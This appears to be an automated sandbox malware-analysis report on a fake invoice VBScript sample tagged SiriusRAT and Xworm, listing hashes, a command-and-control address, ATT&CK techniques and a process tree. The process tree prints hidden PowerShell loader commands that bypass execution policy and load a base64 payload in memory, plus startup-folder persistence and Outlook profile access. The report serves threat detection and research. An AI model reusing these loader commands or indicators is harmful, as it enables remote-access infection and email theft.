siriusrat | 7f3ee0a4f9fbbbf7bf916021e4b189e22e28b7ca66ccfbac8ad297ff3e8e840d

Analysis

max time kernel
148s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
30/09/2026, 01:40

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
INVOICE_2026_08.vbs
Size 4.9MB
Sample260930-b3kr6assht
SHA256 7f3ee0a4f9fbbbf7bf916021e4b189e22e28b7ca66ccfbac8ad297ff3e8e840d
MD5 be7bb7de213cab69723c9b1c3c717b88
SHA1 56ca740414b1b652c7879bae9b69512203ee2ad5
SHA512 2fea90f530d6078c615cb93975b298000bd2395513d13dd853ab83df407292b57fd7c02e9f31a780cd26e3de1c9fc0364cb9d26513d2b6627ccdc2ac3d8f042c
SSDEEP 1536:2yR53S3Rm6oj6c4OB9ic16wWWEagLjOsQpC2HAc5saerJi1dMjv+VPXdLuCmPS7B:UQh
TLSH
T171365E8BC332705941DE66D27E9F173E9A7F04928D2A350B3B2494AADCD2DC25B077C6
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection discovery execution siriusrat xworm persistence privilege_escalation rat trojan

Malware Config

Extracted

Family

siriusrat

31.40.204.71:9876

Signatures

Family: SiriusRAT
SiriusRAT is a Windows RAT written in C++ with HVNC, offline keylogging, and remote desktop capabilities.
rat siriusrat
Family: Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/1616-21-0x0000000000400000-0x000000000041C000-memory.dmp	family_xworm

Detects SiriusRAT 34 IoCs

resource	yara_rule
behavioral1/memory/3936-81-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/3936-83-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/3936-82-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/3936-84-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/3936-80-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/3936-79-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/3936-88-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/3936-89-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/3936-91-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/3936-90-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/3936-93-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/3936-94-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/3936-96-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/3936-98-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/3936-99-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/3936-101-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/3936-100-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/3936-97-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/3936-92-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/3936-95-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/3936-102-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/3936-109-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/3936-110-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/3936-119-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/3936-132-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/3936-131-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/3936-130-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/3936-129-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/3936-120-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/3936-118-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/3936-117-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/3936-111-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/3936-103-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/3936-106-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3792	3404	powershell.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4232	3404	powershell.exe	88

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
10	3792	powershell.exe
31	4232	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3792	powershell.exe
4512	powershell.exe
4232	powershell.exe
4908	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\International\Geo\Nation	WScript.exe

Creates a file in the Startup directory 1 TTPs 2 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scvost.lnk	Caspol.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scvost.lnk	Caspol.exe

Executes dropped EXE 2 IoCs

pid	Process
4264	scvost.exe
4924	CasPol.exe

Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Caspol.exe
Key opened	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Caspol.exe
Key opened	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Caspol.exe
Key opened	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Caspol.exe
Key opened	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Caspol.exe
Key opened	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Caspol.exe

Enumerates connected drives 3 TTPs 4 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
32	ip-api.com

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
2592	WScript.exe
1604	WScript.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3792 set thread context of 1616	3792	powershell.exe	95
PID 4232 set thread context of 3936	4232	powershell.exe	113

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WScript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WScript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WScript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WScript.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Caspol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	scvost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Caspol.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Caspol.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\Local Settings	Caspol.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
4512	powershell.exe
3792	powershell.exe
3792	powershell.exe
4512	powershell.exe
1616	Caspol.exe
1616	Caspol.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4908	powershell.exe
4908	powershell.exe
4908	powershell.exe
3936	Caspol.exe
3936	Caspol.exe
3936	Caspol.exe
3936	Caspol.exe
3936	Caspol.exe
3936	Caspol.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	3792	powershell.exe
Token: SeDebugPrivilege	4512	powershell.exe
Token: SeDebugPrivilege	1616	Caspol.exe
Token: SeDebugPrivilege	4232	powershell.exe
Token: SeDebugPrivilege	4908	powershell.exe
Token: SeDebugPrivilege	3936	Caspol.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2592 wrote to memory of 4512	2592	WScript.exe	91
PID 3792 wrote to memory of 1616	3792	powershell.exe	95
PID 3792 wrote to memory of 1616	3792	powershell.exe	95
PID 3792 wrote to memory of 1616	3792	powershell.exe	95
PID 3792 wrote to memory of 1616	3792	powershell.exe	95
PID 3792 wrote to memory of 1616	3792	powershell.exe	95
PID 1616 wrote to memory of 3032	1616	Caspol.exe	104
PID 1616 wrote to memory of 1604	1616	Caspol.exe	106
PID 3032 wrote to memory of 4252	3032	csc.exe	107
PID 1616 wrote to memory of 4924	1616	Caspol.exe	108
PID 1604 wrote to memory of 4908	1604	WScript.exe	111
PID 4232 wrote to memory of 3936	4232	powershell.exe	113
PID 4232 wrote to memory of 3936	4232	powershell.exe	113
PID 4232 wrote to memory of 3936	4232	powershell.exe	113
PID 4232 wrote to memory of 3936	4232	powershell.exe	113
PID 4232 wrote to memory of 3936	4232	powershell.exe	113
PID 4232 wrote to memory of 3936	4232	powershell.exe	113
PID 4232 wrote to memory of 3936	4232	powershell.exe	113
PID 4232 wrote to memory of 3936	4232	powershell.exe	113
PID 4232 wrote to memory of 3936	4232	powershell.exe	113

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Caspol.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Caspol.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\INVOICE_2026_08.vbs"
1⤵
- Checks computer location settings
- Executes a VBScript file via the Windows Script Host.
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of WriteProcessMemory
PID:2592
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$lectorne=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$virtualize=[Convert]::FromBase64String($lectorne);[AppDomain]::CurrentDomain.Load($virtualize)|Out-Null;[Win32.RMP.Cls_gvizDkIUov]::Met_gvizDkIUovnr('GVIGPvnSxHkzuBF31yzvTYFz8CD8Pdmzz9jSm6n+PNkbskC2ksi8wX9t/CjlSMNf','','LGvd74jH2zopEr2Qw6tP9SKNy4tqssMIdHgFgWytdWweIeIkJvkSCNGOWY+7tmb2','fKd7ToTctStZYkU2+9uoS+hDEkzDwSRdpTGS1NFuLLA=','bngIebzZGcVjXWTGEgjo30+ngsSLARJH8KEvG45lWdc=','','kIe9I1Z7jPE8tOHYvELhPxSZQUi+cRKUe7Z9D/ZDY04=','','','gXgbnJMXn99wba/G2x3EmNHwtFv1FZZpf2nW+HIWjbztrpiNmnde68/PDA79nMAV','iGfI9aBlOdAD/LgWScQRRoXFUpjxcroJQvfuTqfYrC4=','dA0PRhKJPBRwpJhmjRzsJc/gCSFk7TABLyOnZadggPA=','d9iYfB6tYs7kNESuP2wpKawTkTJ5NMfoaRZ4vmmNTm8=','','AuBBAmExJvEImussYZnCz2lSY/uwlCsMhMJ6/Pn6ngI=','zpDkszL4q6NbS8KdZZFHd/XXc6FPTQ6CIZ8cisWR3aU=','','','')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4512

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$lectorne=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$virtualize=[Convert]::FromBase64String($lectorne);[AppDomain]::CurrentDomain.Load($virtualize)|Out-Null;[Win32.RMP.Cls_gvizDkIUov]::Met_gvizDkIUovnr('GVIGPvnSxHkzuBF31yzvTYFz8CD8Pdmzz9jSm6n+PNkbskC2ksi8wX9t/CjlSMNf','','LGvd74jH2zopEr2Qw6tP9SKNy4tqssMIdHgFgWytdWweIeIkJvkSCNGOWY+7tmb2','fKd7ToTctStZYkU2+9uoS+hDEkzDwSRdpTGS1NFuLLA=','bngIebzZGcVjXWTGEgjo30+ngsSLARJH8KEvG45lWdc=','','kIe9I1Z7jPE8tOHYvELhPxSZQUi+cRKUe7Z9D/ZDY04=','','','gXgbnJMXn99wba/G2x3EmNHwtFv1FZZpf2nW+HIWjbztrpiNmnde68/PDA79nMAV','iGfI9aBlOdAD/LgWScQRRoXFUpjxcroJQvfuTqfYrC4=','dA0PRhKJPBRwpJhmjRzsJc/gCSFk7TABLyOnZadggPA=','d9iYfB6tYs7kNESuP2wpKawTkTJ5NMfoaRZ4vmmNTm8=','','AuBBAmExJvEImussYZnCz2lSY/uwlCsMhMJ6/Pn6ngI=','zpDkszL4q6NbS8KdZZFHd/XXc6FPTQ6CIZ8cisWR3aU=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3792
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"
  2⤵
  - Creates a file in the Startup directory
  - Accesses Microsoft Outlook profiles
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1616
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /target:exe /out:"C:\Users\Admin\AppData\Local\Temp\CasPol.exe" "C:\Users\Admin\AppData\Local\Temp\guardian_src_9f3c7baf500e49008f98530910e31d16.cs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3032
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEA4B.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCA13673F5D11C4406ACF09B5DE8DC2082.TMP"
      4⤵
      PID:4252
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\wbkimd.vbs"
    3⤵
    - Checks computer location settings
    - Executes a VBScript file via the Windows Script Host.
    - Reads the TCP/IP host and domain name from the registry
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1604
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$selfheals=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$stibide=[Convert]::FromBase64String($selfheals);[AppDomain]::CurrentDomain.Load($stibide)|Out-Null;[Win32.RMP.Cls_OgWignSvmo]::Met_OgWignSvmorS('i/4qgaR8WjrCM4+57bvtdI1p40Pxy1Kgne8Tlf/jH9OhVn9LEFbA4KwcBCtD6PgVrjuAt1cgN26Zu+E32oC0AA==','','hQcQAgfPaRuSGqI3gztaL501pMQLbGU/CP5kuhiLi6y/gBjSy2zWJrn6U7oYyF3L','WSuGKBH3G0fdNzjhEesWBO+nZnPIbLK1u950bm/d9Zg=','yJohqHBPbxnusCMDKXSmfQ6ZhJAYK1JS0bX2n41a9tU=','','+UR4j2zpBVi6zWAa7ZwTOMdjaB+0O003Okr/ShAwx0g=','','','SrsPWmTtAa1aiL2zIYgm25lxleIpRob8FTJaBbXxFUHrdjHZLaAyVyHaC4DZ94C+','FuTnPaYABCfO+qb9E3HQLk9aZVOz1FVLMf00vxO6Oc8=','bR5O+DsHeXx/rDawIwXOgP4o7Rm9O7cheiuW5H6S2fc=','1wQorG7ZCk0OEXV1xvftyC35R/6G1KqFT3YsBQ9RCgY=','','v/keUdTQ6biKWJemSBnVEcZw/zrI9VVoorpkSrq+Ovw=','Tad0bidRHSDFB97mK6gnbwmofEQrQG62FaArh/ryN6U=','','','')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Enumerates connected drives
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4908
- - C:\Users\Admin\AppData\Local\Temp\CasPol.exe
    "C:\Users\Admin\AppData\Local\Temp\CasPol.exe" 1616
    3⤵
    - Executes dropped EXE
    PID:4924

C:\PROGRA~3\scvost.exe
C:\PROGRA~3\scvost.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4264

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$selfheals=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$stibide=[Convert]::FromBase64String($selfheals);[AppDomain]::CurrentDomain.Load($stibide)|Out-Null;[Win32.RMP.Cls_OgWignSvmo]::Met_OgWignSvmorS('i/4qgaR8WjrCM4+57bvtdI1p40Pxy1Kgne8Tlf/jH9OhVn9LEFbA4KwcBCtD6PgVrjuAt1cgN26Zu+E32oC0AA==','','hQcQAgfPaRuSGqI3gztaL501pMQLbGU/CP5kuhiLi6y/gBjSy2zWJrn6U7oYyF3L','WSuGKBH3G0fdNzjhEesWBO+nZnPIbLK1u950bm/d9Zg=','yJohqHBPbxnusCMDKXSmfQ6ZhJAYK1JS0bX2n41a9tU=','','+UR4j2zpBVi6zWAa7ZwTOMdjaB+0O003Okr/ShAwx0g=','','','SrsPWmTtAa1aiL2zIYgm25lxleIpRob8FTJaBbXxFUHrdjHZLaAyVyHaC4DZ94C+','FuTnPaYABCfO+qb9E3HQLk9aZVOz1FVLMf00vxO6Oc8=','bR5O+DsHeXx/rDawIwXOgP4o7Rm9O7cheiuW5H6S2fc=','1wQorG7ZCk0OEXV1xvftyC35R/6G1KqFT3YsBQ9RCgY=','','v/keUdTQ6biKWJemSBnVEcZw/zrI9VVoorpkSrq+Ovw=','Tad0bidRHSDFB97mK6gnbwmofEQrQG62FaArh/ryN6U=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4232
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Caspol.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Caspol.exe
  2⤵
  - Accesses Microsoft Outlook profiles
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - outlook_office_path
  - outlook_win_path
  PID:3936

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

scvost.exe

Path C:\ProgramData\scvost.exe
Size 106KB
SHA256 7d3bdb5b7ee9685c7c18c0c3272da2a593f6c5c326f1ea67f22aae27c57ba1e6
MD5 914f728c04d3eddd5fba59420e74e56b
SHA1 8c68ca3f013c490161c0156ef359af03594ae5e2
SHA512 d7e49b361544ba22a0c66cf097e9d84db4f3759fbcc20386251caac6da80c591861c1468cb7a102eee1a1f86c974086ebc61de4027f9cd22ad06d63550400d6d
SSDEEP 1536:QSF7vA1hRqHNxxMjlI3ZC+0CtOss6mdcQ6A4vhZ91RKGpQJN:nA1hYPMUs6mdclA4vhNRKG4N
TLSH
T1B1B3C765B3FD1214F1FB8B70A9F89452593BFD9B6D41C26D2C89128D0A22BC1DA12F37
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 6ec0cfb6f8838f9385cedb4a2a0e9cd7dadde68697461488df5d46b96b12a75d
MD5 37a8beb328cfcf7ce3a41ae2e0ee4428
SHA1 d0acf38f5920cdbc44423cff49982d5096a7e5b3
SHA512 86b35dffd1f7fb7d1404b68008e79852f896cddaf18fb545f48d7e9ab7386a5dd7bc533a05563e640ac33b02025debab1abfc28f7f60df93a583abfab7d09a3b
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
MD5 446dd1cf97eaba21cf14d03aebc79f27
SHA1 36e4cc7367e0c7b40f4a8ace272941ea46373799
SHA512 a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7
MD5 SHA1 SHA512

Submit Download

CasPol.exe

Path C:\Users\Admin\AppData\Local\Temp\CasPol.exe
Size 5KB
SHA256 db2f80880cac54c43db68986ba3e927419ad86d4c1f0ea8fc6992ad9db0c12e3
MD5 347ca1eb8426208896a19b2fb0ce0d5c
SHA1 06679d903f0575ecde4cc4065a5df40148cb81ad
SHA512 8f279894f82dbbd6c58f982de5866acdf7791e73b8bf4cc5839a0ddb544021603fc0ab0ce45162d5b4f4fe5cee143d5069be86088d9b25eeb8292659d1252c87
SSDEEP 96:5dew7V9qOOoT8BynqgHlNxNEM7yKk2zNt:5v2OOWoyqgHjoM70Q
TLSH
T113C1B487979C4366D0670731B8B303552778E9225B6BABAF24F4137A7EB639009533F1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RESEA4B.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESEA4B.tmp
Size 1KB
SHA256 f7f51c65eb10cc6ff5fc398de90f9e17d05e6b37ff1b7d11fe39aca3faa6201b
MD5 71989ed374012c997f417afb234b15d1
SHA1 96985f35dcf63b45952504831c2dcc889416a08a
SHA512 f630e8c17ac0fb30fc9cd5f64ec7338033fdc556fe3e209de0ee1a7d736b35aed48aef26f6e8375029f7bc503f331fc15af740aa791a4b5c4a31151ab0574457
TLSH
T12941534083E84B1FE132473128F78719A234FE55AF9A436EB4C4122E1F02740DD83AB2
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_t2vwlrvo.tmj.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_t2vwlrvo.tmj.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

rsql_3936_240713671.tmp

Path C:\Users\Admin\AppData\Local\Temp\rsql_3936_240713671.tmp
Size 224KB
SHA256 d781b56555e65272ef4019de8706cba5042fb7afcf0f6e2ca56183ca9567ba8e
MD5 710df06c7732247ac90a924171429a31
SHA1 74ca20f5987e39ea08d3765803fa25a9638eddea
SHA512 446dcaa944760f53b09f2112d434f8436ccaffcd7e6e270f699068161a7113f9c0b71de8f4e634bdccebb2364c6976c818fae12adb83c006fe1cce421a690c02
SSDEEP 192:f+xj3fT8w0QQnG2IMW1hPJubRd6vPtcdCewdbsc7V1VJ:2B3fQ9QQn7IMW1hPJuVd6vPkxW
TLSH
T1DD24640A7B787001EDE3D9725CB080771E3CA16D8F22A6915DB654694EB2853A23D8EF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

rsql_3936_240713671.tmp

Path C:\Users\Admin\AppData\Local\Temp\rsql_3936_240713671.tmp
Size 138KB
SHA256 40bf99d6ca362a47c197bcea3090ff3427c1dd928762c994ed91b54b9f6cc1a4
MD5 c5e46d9f09c80c8ef10bdf4c265fd7a0
SHA1 ff74c01b302970fbc4d7cc571f1ac5859e98776f
SHA512 8fa19fec55a9e897f5fc6777d8cf2cf13b6d4312dbc2e52990ff890825da917796e29381192fa185c143f8843fba25f50181fab4a1a90ae85d7f4c4733a060db
SSDEEP 384:zeuvBnhJsueMEGvIW1DcP2O4y7EHVumNn73:FnbZeMrv/hGt4Rnb
TLSH
